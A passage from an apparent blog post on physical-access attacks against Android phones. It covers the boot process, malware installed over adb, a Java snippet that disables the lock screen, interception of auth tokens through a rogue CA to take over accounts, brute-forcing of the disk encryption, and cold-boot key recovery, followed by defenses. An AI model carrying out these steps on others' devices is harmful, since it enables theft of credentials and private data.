Unfortunately this only helps against a quick install, since the maid has
physical access to the HDD, where she will probably find an unprotected
bootloader or kernel. So to secure a notebook against this type of attack, one
must deploy something like UEFI Secure Boot.  Maids (or some hacker in a maid
outfit who social engineered somone the hotel room key ;) can be devious.&lt;/p&gt;
&lt;p&gt;So the situation with phones is a bit different. Usually you cannot simply
disassemble it to get access to the persistent storage inside the device. But
what can an attacker do with physical access?&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="detour-android-internals-and-boot-process"&gt;
&lt;h2&gt;Detour: Android Internals and Boot Process&lt;/h2&gt;
&lt;p&gt;Before I talk about what to do with physical access to android devices, I will
give a short introduction to some of the android internals and specifically to
the boot process. For more information on the android boot process checkout
this excellent presentation &lt;a class="footnote-reference" href="#androidmoddingforsecprac" id="footnote-reference-2"&gt;[3]&lt;/a&gt; or
this page &lt;a class="footnote-reference" href="#htcbootprocess" id="footnote-reference-3"&gt;[4]&lt;/a&gt;.&lt;/p&gt;
&lt;div class="section" id="android-partition-layout"&gt;
&lt;h3&gt;Android Partition Layout&lt;/h3&gt;
&lt;p&gt;The android partition layout is differs from device to device, but there are
some main components that can be found on every device.&lt;/p&gt;
&lt;p&gt;On most devices / is actually a ramdisk that is created at every boot. So don't
try to persist anything there. The contents of the ramdisk are loaded from the
&amp;quot;boot&amp;quot; partition, where also the kernel lies.  /system: contains the core OS,
all the system binaries, configuration, the android framework etc. The apps and
all the data that apps produce are stored in /data/.  Another interesting
partition is the recovery image partition. This partition contains a kernel and
a ramdisk similar to the &amp;quot;boot&amp;quot; partition, but is not intended to boot the full
system, but provide only basic functionality for recovering devices or updating
the devices firmware. Flashing a new recovery image is usally one of the first
steps when using a custom ROM.  The there usually is a partition for the cache,
which is used by the android JVM implementation (the dalvik VM).  Finally we
have the storage where the user has direct access. For example the SD card or
internal memory. Those are usually acessible via /sdcard, /mnt/storage or
something similar.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="boot-process"&gt;
&lt;h3&gt;Boot Process&lt;/h3&gt;
&lt;p&gt;HTC/Qualcomm devices usually boot in the following manner. Don't forget that we
have two &amp;quot;main&amp;quot; processors inside a typical phone. One that performs all the
stuff related to the telephone network (called baseband processor) and one that
processes all the applications and the actual OS (also called the applications
processor).&lt;/p&gt;
&lt;ol class="arabic simple"&gt;
&lt;li&gt;The baseband processor starts and loads the primary boot loader (PBL)&lt;/li&gt;
&lt;li&gt;The PBL loads the secondary boot load (SBL)&lt;/li&gt;
&lt;li&gt;The application processor boots the HBOOT bootloader&lt;/li&gt;
&lt;li&gt;HBOOT loads the kernel or recovery image&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Other devices boot in a similar manner, although they use their custom
bootloader(s) and everything is called a little different.&lt;/p&gt;
&lt;p&gt;To achieve security during the boot process the bootloader verify the next step
before continuing. So in this case the PBL verifies the signature of the SBL.
The SBL verifies and loads the baseband code and the HBOOT bootloader. HBOOT
the verifies and loads the kernel/recovery. This way no untrusted code can be
booted.&lt;/p&gt;
&lt;p&gt;For development this isn't really practical, so one can usually unlock the
bootloader, so that untrusted kernels or recoveries can be booted.  This is
cool because we can use this to install custom ROMs.  Most app processor
bootloaders implement the fastboot protocol, so that it can be controlled over
USB. fastboot is also the tool that ships with the android sdk and can be used
to boot other kernels, recoveries, flash images to partitions and also unlock
the phones bootloader.
The later can be achieved by using:&lt;/p&gt;
&lt;pre class="literal-block"&gt;
fastboot oem unlock
&lt;/pre&gt;
&lt;p&gt;What this does is disable signature checking of the kernel/recovery image but
most devices also perform a factory reset (aka. formatting the /data/
partition) when the bootloader is unlocked. Note that not all devices have
bootloader that can be that easily unlocked or relocked.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="htc-s-on-s-off"&gt;
&lt;h3&gt;HTC S-ON/S-OFF&lt;/h3&gt;
&lt;p&gt;You can think of this as a more complete device lockdown. Additionally to a
locked bootloader, the /system, kernel and recovery partition are
hardware-write-protected. So even if we gain root on the phone, we cannot
modify the system beyond a reboot. To gain S-OFF one can use an exploit or go
the offical HTC way, where you need to submit a token and flash a signed blob,
so that HTC can confirm that you know that the warranty is now voided. This
makes the system, kernel and recovery partition writable and you are free to
flash your own images.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class="section" id="attack-scenarios"&gt;
&lt;h2&gt;Attack Scenarios&lt;/h2&gt;
&lt;p&gt;With all that in mind let's look at a couple of scenarios and what can happen
to an android phone, when the attacker has physical access.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="scenario-1-standard-phone"&gt;
&lt;h2&gt;Scenario 1: Standard Phone&lt;/h2&gt;
&lt;p&gt;&lt;em&gt;Prerequisites:&lt;/em&gt; stock ROM, no adb, no root&lt;/p&gt;
&lt;p&gt;This is a pretty boring scenario, as the best you can do is pull the SD card
out of the device and look for interesting things. There might be some personal
data, pictures etc.  More interesting might be Android apps that were moved to
the sdcard or backups of app internal data to the SD card.  But you probably
can't totally own the phone, unless you have a working exploit for the USB
driver, of which I'm not aware of any.&lt;/p&gt;
&lt;p&gt;But what about devices that have no SD card? For example the Nexus S has no SD
card, but only internal memory. The data is accessed via the Media Transfer
Protocol and is only available if android is unlocked I'm not talking about the
bootloader, but the actual OS that is running.  Most android devices can only
be used after a certain pattern is drawn. Alternatively you can use a PIN, a
password or the new face unlock feature.&lt;/p&gt;
&lt;div class="section" id="smudge-patterns"&gt;
&lt;h3&gt;Smudge Patterns&lt;/h3&gt;
&lt;p&gt;In 2010, pretty soon after Android started booming, the first attack against
the unlock pattern was presented &lt;a class="footnote-reference" href="#smudgepatterns" id="footnote-reference-4"&gt;[2]&lt;/a&gt;. The problem is that we
leave smudge on the display after inputting the unlock pattern.  If we input
our pattern a few times we can see the line of smudge on the display and only
have to guess the direction in which the pattern is input. And that's not hard
to bruteforce ;)&lt;/p&gt;
&lt;img alt="Smudge pattern on a phone" src="/static/img/android_physical_security/smudge.jpg" /&gt;
&lt;img alt="Smudge pattern on a phone with marking" src="/static/img/android_physical_security/smudge2.jpg" /&gt;
&lt;p&gt;The paper that presented the attack describes several possibilities using a
camera and some image manipulation to make the pattern more visible
&lt;a class="footnote-reference" href="#smudgepatterns" id="footnote-reference-5"&gt;[2]&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Face unlock method introduced in Android 4 is another insecure method for
unlocking the phone. It can be easily tricked by showing a picture of the owner
(accessible via your favorite social network) to the phone.  So if you are
truely paranoid use a PIN or a password to protect your phone.  But what if an
attacker does actually manage to unlock your phone?  I will discuss that in the
next section.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class="section" id="scenario-2-developer-phone"&gt;
&lt;h2&gt;Scenario 2: Developer Phone&lt;/h2&gt;
&lt;p&gt;&lt;em&gt;Prerequisites:&lt;/em&gt; stock ROM, no root, adb enabled&lt;/p&gt;
&lt;p&gt;Now we look at a phone that has adb enabled, because it's the phone of
a developer that is also used privately.&lt;/p&gt;
&lt;div class="section" id="installing-malware"&gt;
&lt;h3&gt;Installing Malware&lt;/h3&gt;
&lt;p&gt;the first thing that comes to my mind is: install some malware:&lt;/p&gt;
&lt;pre class="literal-block"&gt;
adb install com.example.AngryBirdsStarTrek.apk
&lt;/pre&gt;
&lt;p&gt;Using adb we can also access many parts of the system, although we are still
restricted. We can give our malware all kinds of permissions to gain access to
a lot of personal data. Unfortunately we don't have unlimited permissions,
because the really awesome permissions are the &lt;em&gt;system&lt;/em&gt; or &lt;em&gt;systemOrSignature&lt;/em&gt;
level permissions, which are only available to system apps or apps signed by
the system vendor.&lt;/p&gt;
&lt;p&gt;But that said we can get access to most personal data, such as contacts texts,
phone calls etc.&lt;/p&gt;
&lt;p&gt;We can also use our installed app to disable the &amp;quot;keyguard&amp;quot; lock, effectively
bypassing any PIN, password, unlock pattern or face unlock.  This is as simple
as the following code (which might not be accurate anymore but I'm currently
too lazy to check again ;)&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;KeyguardManager&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;keyguardManager&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;KeyguardManager&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;getSystemService&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Context&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;KEYGUARD_SERVICE&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="n"&gt;KeyguardLock&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;mkeyguardLock&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;keyguardManager&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;newKeyguardLock&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;unlock&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="n"&gt;mkeyguardLock&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;disableKeyguard&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Oh shit. So now we have nearly unrestricted access to the phone.  But what to
do now?&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="intercepting-login-credentials"&gt;
&lt;h3&gt;Intercepting Login Credentials&lt;/h3&gt;
&lt;p&gt;While we do have access to the phone we probably can't access any credentials
stored by the installed apps. What if we need to give the phone back soon and
going through all the email directly on the phone probably isn't practical.
What we do now is go back a level deeper and start watching the network traffic
produced by the android phone. This means we launch a classic man-in-the-middle
attack. Since we have access to the phone we can easily connect to our own
hostile wifi. Unfortunately we can't see all the login credentials, since most
apps transmit the data via https or TLS. But wait we can just add our own CA
certificate in the android trust store and look at all this confidential data
:) I like to use the mitmproxy &lt;a class="footnote-reference" href="#mitmproxy" id="footnote-reference-6"&gt;[5]&lt;/a&gt; tool for such purposes, but you
could also use Burp or OWASP ZAP. Unfortunately not all apps seem to support
the proxy setting in Android.&lt;/p&gt;
&lt;p&gt;Stuff you can intercept are mostly auth tokens &lt;a class="footnote-reference" href="#authtokencatching" id="footnote-reference-7"&gt;[6]&lt;/a&gt;, which can
give you the power to take over accounts. But sometimes you get lucky and
directly spot a password. The following image shows the mitmproxy tool while
intercepting an authentication request. The &amp;quot;Token&amp;quot; parameter is the token
which is used to authenticate the device.&lt;/p&gt;
&lt;img alt="mitmproxy intercepts an authentication request for a google account" src="/static/img/android_physical_security/mitmproxy-googletoken.png" /&gt;
&lt;p&gt;Google had a very serious bug, where you could even bypass the two-factor
authentication once you had access to an applicaiton specific password, such as
the android's login token, which you can observe with a mitm proxy
&lt;a class="footnote-reference" href="#googletwofactorbypass" id="footnote-reference-8"&gt;[7]&lt;/a&gt;. This was fixed by google.&lt;/p&gt;
&lt;p&gt;So this is already pretty serious, but there is another feature of Google's
Android: the Backup &amp;amp; reset feature. This feature enables a backup of system
settings, application data and wifi passwords to the google cloud. If we use
the google authentication token we sniffed to log into the google account on
another rooted phone, we can get all the stuff backed up to google in
plaintext. I'd say: &amp;quot;All your wifi password are belong to us!&amp;quot;.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="escalate-to-root"&gt;
&lt;h3&gt;Escalate to root&lt;/h3&gt;
&lt;p&gt;So this is already pretty serious now, but we still do not have root, so we
can't install the really juicy malware and give the phone back. Well we could
also use one of the countless root exploits for Android. Nearly every phone and
Android version is vulnerable to some kind of root exploit. Because phone
vendors can't keep up with patching or leave devices intentionally vulnerable,
the likelyhood that a device with adb enabled is vulnerable is pretty high.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class="section" id="scenario-3-rooted-phone"&gt;
&lt;h2&gt;Scenario 3: Rooted Phone&lt;/h2&gt;
&lt;p&gt;&lt;em&gt;Prerequisites:&lt;/em&gt; rooted, custom ROM and recovery, adb access&lt;/p&gt;
&lt;p&gt;This chapter is short: your are totally screwed.&lt;/p&gt;
&lt;p&gt;With root access everything is possible and an attacker has access to
absolutely everything: credentials, wifi passwords and all the data.
Installing a really nice rootkit is also no problem.&lt;/p&gt;
&lt;p&gt;Ok but what if we disable adb?&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Prerequisites:&lt;/em&gt; rooted, custom ROM and recovery, &lt;em&gt;no&lt;/em&gt; adb access&lt;/p&gt;
&lt;p&gt;Let's remember the stuff about the locked bootloader? Yes most guides for
custom ROMs usually suggest unlocking the bootloader and leaving it that way.
That's very good for an attacker.&lt;/p&gt;
&lt;p&gt;Using fastboot we can just boot an arbitrary kernel and do whatever we want
anyway :) We can also use the standard update.zip mechanism of the installed
recovery to &amp;quot;flash&amp;quot; a rootkit and gain access to the phone, but this is just
for added comfort. Note that relocking the bootloader with a custom recovery
that supports flashing new ROMs is pretty pointless.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="scenario-4-encrypted-phone"&gt;
&lt;h2&gt;Scenario 4: Encrypted Phone&lt;/h2&gt;
&lt;p&gt;So Android introduced &amp;quot;full disk encryption&amp;quot; with the release of 3.0 Honeycomb
&lt;a class="footnote-reference" href="#androidfde" id="footnote-reference-9"&gt;[8]&lt;/a&gt;. The disk encryption targets only the /data/ partition. This
means that the core OS and system binaries etc. are still not encrypted, which
is probably good for performance, but also leaves them subject to tampering.&lt;/p&gt;
&lt;p&gt;So what to do with an encrypted phone?&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Prerequisistes&lt;/em&gt;: unlocked bootloader, no adb access&lt;/p&gt;
&lt;p&gt;So we could execute arbitrary code, but we have to reboot the device. This
means that we can easily install a rootkit and give it back to the owner,
hoping that he doesn't flash a new ROM. But maybe we can do something else.&lt;/p&gt;
&lt;div class="section" id="bruteforcing-the-encryption-key"&gt;
&lt;h3&gt;Bruteforcing the Encryption Key&lt;/h3&gt;
&lt;p&gt;Android encryption forces you to set a password or PIN to unlock your device.
Unfortunately the same password is used for unlocking the phone for everyday
use and for decrypting the device. This means that you will probably use a very
weak password. Who has the time and the nerve to input a 16 character password
for quickly reading a text message.&lt;/p&gt;
&lt;p&gt;Unfortunately the disk encryption for Android is tailored for low-power
low-performance devices. Android uses dmcrypt for performing the actual crypto.
The information needed to decrypt the phone is saved in the last 16 kB of the
encrypted partition. The encryption key is actually just a bunch of random
bytes read from /dev/urandom. This key is then encrypted using the users
password. Because user passwords are usually pretty low entropy and don't have
the right length for an encryption key, a technique called &amp;quot;key stretching&amp;quot;
&lt;a class="footnote-reference" href="#keystretching" id="footnote-reference-10"&gt;[9]&lt;/a&gt; is used.  Like almost everyone else the standardized PBKDF2
function is used to stretch the key. PBKDF2 stand for Password Based Key
Derivation Function 2 and uses repeated hashing and salting to derive an actual
encryption key &lt;a class="footnote-reference" href="#pbkdf2wikipedia" id="footnote-reference-11"&gt;[10]&lt;/a&gt;. This technique is not only useful to derive
good encryption keys with various lengths from a master key, but also offers
protection against brute-force attacks.  PBKDF2 is a parameterized function
that takes the number of iterations as parameter. The higher the iteration
count the more work has to be done before the actual key can be tested.&lt;/p&gt;
&lt;p&gt;Unfortunately the iteration count is hardcoded to 2000 on Android, which is in
fact pretty low. For example the LUKS/dmcrypt setup on my Fedora box uses about
160000 iterations for PBKDF2. While this may not be possible on an Android
device, an iteration count of 2000 is definitely too small. Additionally
PBKDF2 is also pretty fast on GPUs.&lt;/p&gt;
&lt;p&gt;Can you guess where this is going? Yes bruteforcing the password/PIN used to
encrypt the device is absolutely feasible. It has actually been done with the
hashcat bruteforcing tool &lt;a class="footnote-reference" href="#hashcatandroid" id="footnote-reference-12"&gt;[11]&lt;/a&gt;. So we see Android encryption
isn't actually that secure.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="recovering-the-encryption-key-from-memory"&gt;
&lt;h3&gt;Recovering the Encryption Key from Memory&lt;/h3&gt;
&lt;p&gt;Another attack against encrypted Android phones is called: FROST &lt;a class="footnote-reference" href="#frostpaper" id="footnote-reference-13"&gt;[12]&lt;/a&gt;
&lt;a class="footnote-reference" href="#frosthp" id="footnote-reference-14"&gt;[13]&lt;/a&gt;. As you might have guessed this is a form of cold boot attacks
against Android phones. The researchers discovered that the contents of the RAM
can be preserved across a device reboot by cooling it down. They showed that it
is sufficient to cool the whole device, so it is not even needed to directly
access the memory chips. They also wrote a recovery image and kernel module to
search and dump any disk encryption keys that still reside in the memory of the
Android device.&lt;/p&gt;
&lt;p&gt;Not only encryption keys but also other possibly sensitive data such as
pictures, documents or password to services can be retrieved using this cold
boot attack.&lt;/p&gt;
&lt;p&gt;Fortunately to boot into FROST or something similar, the phone needs to have an
unlocked bootloader. As I wrote at the beginning unlocking should wipe all user
data, which restricts FROST to recovering data from memory.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class="section" id="defense-and-conclusion"&gt;
&lt;h2&gt;Defense and Conclusion&lt;/h2&gt;
&lt;p&gt;Let's be honest, the current state of Android &amp;quot;physical&amp;quot; security is pretty
bad. But nevertheless there is one scenario in which you have pretty good
chances against an attacker.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Prerequisites:&lt;/em&gt; locked bootloader, no custom recovery, encrypted phone, no adb,
strong PIN/password&lt;/p&gt;
&lt;p&gt;In this case the phone would be pretty secure.  He cannot launch any network
based attacks since hopefully TLS will protect most critical communication.  An
attacker cannot execute code unless he unlocks the bootloader first.  Unlocking
the bootloader will hopefully wipe your user data. So the only successful
attack is recovering data from the RAM using a FROST style cold boot attack.
Android apps dealing with sensitive data such as account credentials, tokens or
crypto keys in any form, should flush them back to disk and from memory once
the screen is locked. Another possibility would be to obfuscate such critical
data inside the RAM, although this should be considered as a defense in depth
strategy.&lt;/p&gt;
&lt;p&gt;The first thing you should do when you get a lost phone back, is to factory
reset the device, unlock the bootloader flash a new operating system, then
relock the bootloader and hope that there is no rootkit hidden in the
bootloader of the device (or somewhere else).&lt;/p&gt;
&lt;p&gt;You are not necessarily bound to the original device firmware if your
bootloader supports relocking with an arbitrary kernel image.  Flashing a
custom recovery usually leaves your device wide open, so you should only boot
it directly via fastboot if you need the functionality of a custom recovery.
In most cases it should be possible without flashing the recovery.
Unfortunately no custom recovery that I know of supports any kind of
authentication.&lt;/p&gt;
&lt;p&gt;If you do a lot of development and constantly leave your device with adb
enabled you could use the AdbSecure &lt;a class="footnote-reference" href="#adbsecure" id="footnote-reference-15"&gt;[14]&lt;/a&gt; app, which will disable adb
when the screen is locked and enable it once the screen is unlocked.  Note that
since Android version 4.2 there is a property called &amp;quot;ro.adb.secure&amp;quot;, which
requires every &amp;quot;debugging device&amp;quot; to authenticate using an RSA key. The
fingerprint of the key must be confirmed on the device and is saved during
first debug attempt and checked the next time. This prevents that unkown
devices get access to USB debugging without the screen unlock code. This means
that you don't need something like AdbSecure, on devices that support it.&lt;/p&gt;
&lt;p&gt;But now I leave the details of how to secure a device to another blog post ;)&lt;/p&gt;
&lt;p&gt;For performing some of the attacks check out the work done by &lt;a class="reference external" href="https://twitter.com/theKos"&gt;theKos&lt;/a&gt;, his
&amp;quot;phone-to-phone adb&amp;quot; framework &lt;a class="footnote-reference" href="#p2padb" id="footnote-reference-16"&gt;[16]&lt;/a&gt;, a presentation
&lt;a class="footnote-reference" href="#physicaldrivebydownloads" id="footnote-reference-17"&gt;[15]&lt;/a&gt; and this hak5 video &lt;a class="footnote-reference" href="#hak5physical" id="footnote-reference-18"&gt;[17]&lt;/a&gt;.
The &amp;quot;raider backup tool&amp;quot; implements similar functionality &lt;a class="footnote-reference" href="#raiderbackuptool" id="footnote-reference-19"&gt;[18]&lt;/a&gt;.
FROST has also been released here &lt;a class="footnote-reference" href="#frosthp" id="footnote-reference-20"&gt;[13]&lt;/a&gt;.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="update-2013-11-19"&gt;
&lt;h2&gt;Update 2013-11-19&lt;/h2&gt;
&lt;p&gt;Check out this awesome talk: &lt;a class="reference external" href="https://www.youtube.com/watch?v=RHaxn1TzU3g"&gt;https://www.youtube.com/watch?v=RHaxn1TzU3g&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;In short, what they did is to look at multiplexers in modern phones, which
allow different kinds of signals be transmitted over one single wire/plug.
One example would be USB on-the-go, which allows a device to act both as USB
host and device. Another example they gave was the USB over the head-phone
jack that small mp3-players such as this tiny Apple iPod (shuffle?) do.&lt;/p&gt;
&lt;p&gt;They discovered that some Samsung phones multiplex a UART interface onto the
USB plug. So with the right gear you can get the device to talk via UART with
you and you get dropped into a small in-kernel debugger or a shell depending
on the phone.&lt;/p&gt;
&lt;p&gt;This is like a huge and crazy security risk, since you have nearly no control
over it, except for mitigating on the software side... if you know about it
that is.&lt;/p&gt;
&lt;table class="docutils footnote" frame="void" id="f0rkievilmaid" rules="none"&gt;
&lt;colgroup&gt;&lt;col class="label" /&gt;&lt;col /&gt;&lt;/colgroup&gt;
&lt;tbody valign="top"&gt;
&lt;tr&gt;&lt;td class="label"&gt;&lt;a class="fn-backref" href="#footnote-reference-1"&gt;[1]&lt;/a&gt;&lt;/td&gt;&lt;td&gt;&lt;a class="reference external" href="http://f0rki.at/static/slides/evil-maid-on-droids_f0rki_hackingnight-2012-12-06.pdf"&gt;http://f0rki.at/static/slides/evil-maid-on-droids_f0rki_hackingnight-2012-12-06.pdf&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;table class="docutils footnote" frame="void" id="smudgepatterns" rules="none"&gt;
&lt;colgroup&gt;&lt;col class="label" /&gt;&lt;col /&gt;&lt;/colgroup&gt;
&lt;tbody valign="top"&gt;
&lt;tr&gt;&lt;td class="label"&gt;[2]&lt;/td&gt;&lt;td&gt;&lt;em&gt;(&lt;a class="fn-backref" href="#footnote-reference-4"&gt;1&lt;/a&gt;, &lt;a class="fn-backref" href="#footnote-reference-5"&gt;2&lt;/a&gt;)&lt;/em&gt; &lt;a class="reference external" href="http://static.usenix.org/events/woot10/tech/full_papers/Aviv.pdf"&gt;http://static.usenix.org/events/woot10/tech/full_papers/Aviv.pdf&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;table class="docutils footnote" frame="void" id="androidmoddingforsecprac" rules="none"&gt;
&lt;colgroup&gt;&lt;col class="label" /&gt;&lt;col /&gt;&lt;/colgroup&gt;
&lt;tbody valign="top"&gt;
&lt;tr&gt;&lt;td class="label"&gt;&lt;a class="fn-backref" href="#footnote-reference-2"&gt;[3]&lt;/a&gt;&lt;/td&gt;&lt;td&gt;&lt;a class="reference external" href="http://www.sourceconference.com/publications/bos12pubs/android-modding-source.pdf"&gt;http://www.sourceconference.com/publications/bos12pubs/android-modding-source.pdf&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;table class="docutils footnote" frame="void" id="htcbootprocess" rules="none"&gt;
&lt;colgroup&gt;&lt;col class="label" /&gt;&lt;col /&gt;&lt;/colgroup&gt;
&lt;tbody valign="top"&gt;
&lt;tr&gt;&lt;td class="label"&gt;&lt;a class="fn-backref" href="#footnote-reference-3"&gt;[4]&lt;/a&gt;&lt;/td&gt;&lt;td&gt;&lt;a class="reference external" href="http://tjworld.net/wiki/Android/HTC/Vision/BootProcess"&gt;http://tjworld.net/wiki/Android/HTC/Vision/BootProcess&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;table class="docutils footnote" frame="void" id="mitmproxy" rules="none"&gt;
&lt;colgroup&gt;&lt;col class="label" /&gt;&lt;col /&gt;&lt;/colgroup&gt;
&lt;tbody valign="top"&gt;
&lt;tr&gt;&lt;td class="label"&gt;&lt;a class="fn-backref" href="#footnote-reference-6"&gt;[5]&lt;/a&gt;&lt;/td&gt;&lt;td&gt;&lt;a class="reference external" href="http://mitmproxy.org/"&gt;http://mitmproxy.org/&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;table class="docutils footnote" frame="void" id="authtokencatching" rules="none"&gt;
&lt;colgroup&gt;&lt;col class="label" /&gt;&lt;col /&gt;&lt;/colgroup&gt;
&lt;tbody valign="top"&gt;
&lt;tr&gt;&lt;td class="label"&gt;&lt;a class="fn-backref" href="#footnote-reference-7"&gt;[6]&lt;/a&gt;&lt;/td&gt;&lt;td&gt;&lt;a class="reference external" href="http://www.uni-ulm.de/en/in/mi/staff/koenings/catching-authtokens.html"&gt;http://www.uni-ulm.de/en/in/mi/staff/koenings/catching-authtokens.html&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;table class="docutils footnote" frame="void" id="googletwofactorbypass" rules="none"&gt;
&lt;colgroup&gt;&lt;col class="label" /&gt;&lt;col /&gt;&lt;/colgroup&gt;
&lt;tbody valign="top"&gt;
&lt;tr&gt;&lt;td class="label"&gt;&lt;a class="fn-backref" href="#footnote-reference-8"&gt;[7]&lt;/a&gt;&lt;/td&gt;&lt;td&gt;&lt;a class="reference external" href="https://blog.duosecurity.com/2013/02/bypassing-googles-two-factor-authentication/"&gt;https://blog.duosecurity.com/2013/02/bypassing-googles-two-factor-authentication/&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;table class="docutils footnote" frame="void" id="androidfde" rules="none"&gt;
&lt;colgroup&gt;&lt;col class="label" /&gt;&lt;col /&gt;&lt;/colgroup&gt;
&lt;tbody valign="top"&gt;
&lt;tr&gt;&lt;td class="label"&gt;&lt;a class="fn-backref" href="#footnote-reference-9"&gt;[8]&lt;/a&gt;&lt;/td&gt;&lt;td&gt;&lt;a class="reference external" href="http://source.android.com/devices/tech/encryption/android_crypto_implementation.html"&gt;http://source.android.com/devices/tech/encryption/android_crypto_implementation.html&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;table class="docutils footnote" frame="void" id="keystretching" rules="none"&gt;
&lt;colgroup&gt;&lt;col class="label" /&gt;&lt;col /&gt;&lt;/colgroup&gt;
&lt;tbody valign="top"&gt;
&lt;tr&gt;&lt;td class="label"&gt;&lt;a class="fn-backref" href="#footnote-reference-10"&gt;[9]&lt;/a&gt;&lt;/td&gt;&lt;td&gt;&lt;a class="reference external" href="http://en.wikipedia.org/wiki/Key_stretching"&gt;http://en.wikipedia.org/wiki/Key_stretching&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;table class="docutils footnote" frame="void" id="pbkdf2wikipedia" rules="none"&gt;
&lt;colgroup&gt;&lt;col class="label" /&gt;&lt;col /&gt;&lt;/colgroup&gt;
&lt;tbody valign="top"&gt;
&lt;tr&gt;&lt;td class="label"&gt;&lt;a class="fn-backref" href="#footnote-reference-11"&gt;[10]&lt;/a&gt;&lt;/td&gt;&lt;td&gt;&lt;a class="reference external" href="http://en.wikipedia.org/wiki/PBKDF2"&gt;http://en.wikipedia.org/wiki/PBKDF2&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;table class="docutils footnote" frame="void" id="hashcatandroid" rules="none"&gt;
&lt;colgroup&gt;&lt;col class="label" /&gt;&lt;col /&gt;&lt;/colgroup&gt;
&lt;tbody valign="top"&gt;
&lt;tr&gt;&lt;td class="label"&gt;&lt;a class="fn-backref" href="#footnote-reference-12"&gt;[11]&lt;/a&gt;&lt;/td&gt;&lt;td&gt;&lt;a class="reference external" href="http://hashcat.net/forum/thread-2270-post-13608.html"&gt;http://hashcat.net/forum/thread-2270-post-13608.html&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;table class="docutils footnote" frame="void" id="frostpaper" rules="none"&gt;
&lt;colgroup&gt;&lt;col class="label" /&gt;&lt;col /&gt;&lt;/colgroup&gt;
&lt;tbody valign="top"&gt;
&lt;tr&gt;&lt;td class="label"&gt;&lt;a class="fn-backref" href="#footnote-reference-13"&gt;[12]&lt;/a&gt;&lt;/td&gt;&lt;td&gt;&lt;a class="reference external" href="http://www1.cs.fau.de/filepool/projects/frost/frost.pdfa"&gt;http://www1.cs.fau.de/filepool/projects/frost/frost.pdfa&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;table class="docutils footnote" frame="void" id="frosthp" rules="none"&gt;
&lt;colgroup&gt;&lt;col class="label" /&gt;&lt;col /&gt;&lt;/colgroup&gt;
&lt;tbody valign="top"&gt;
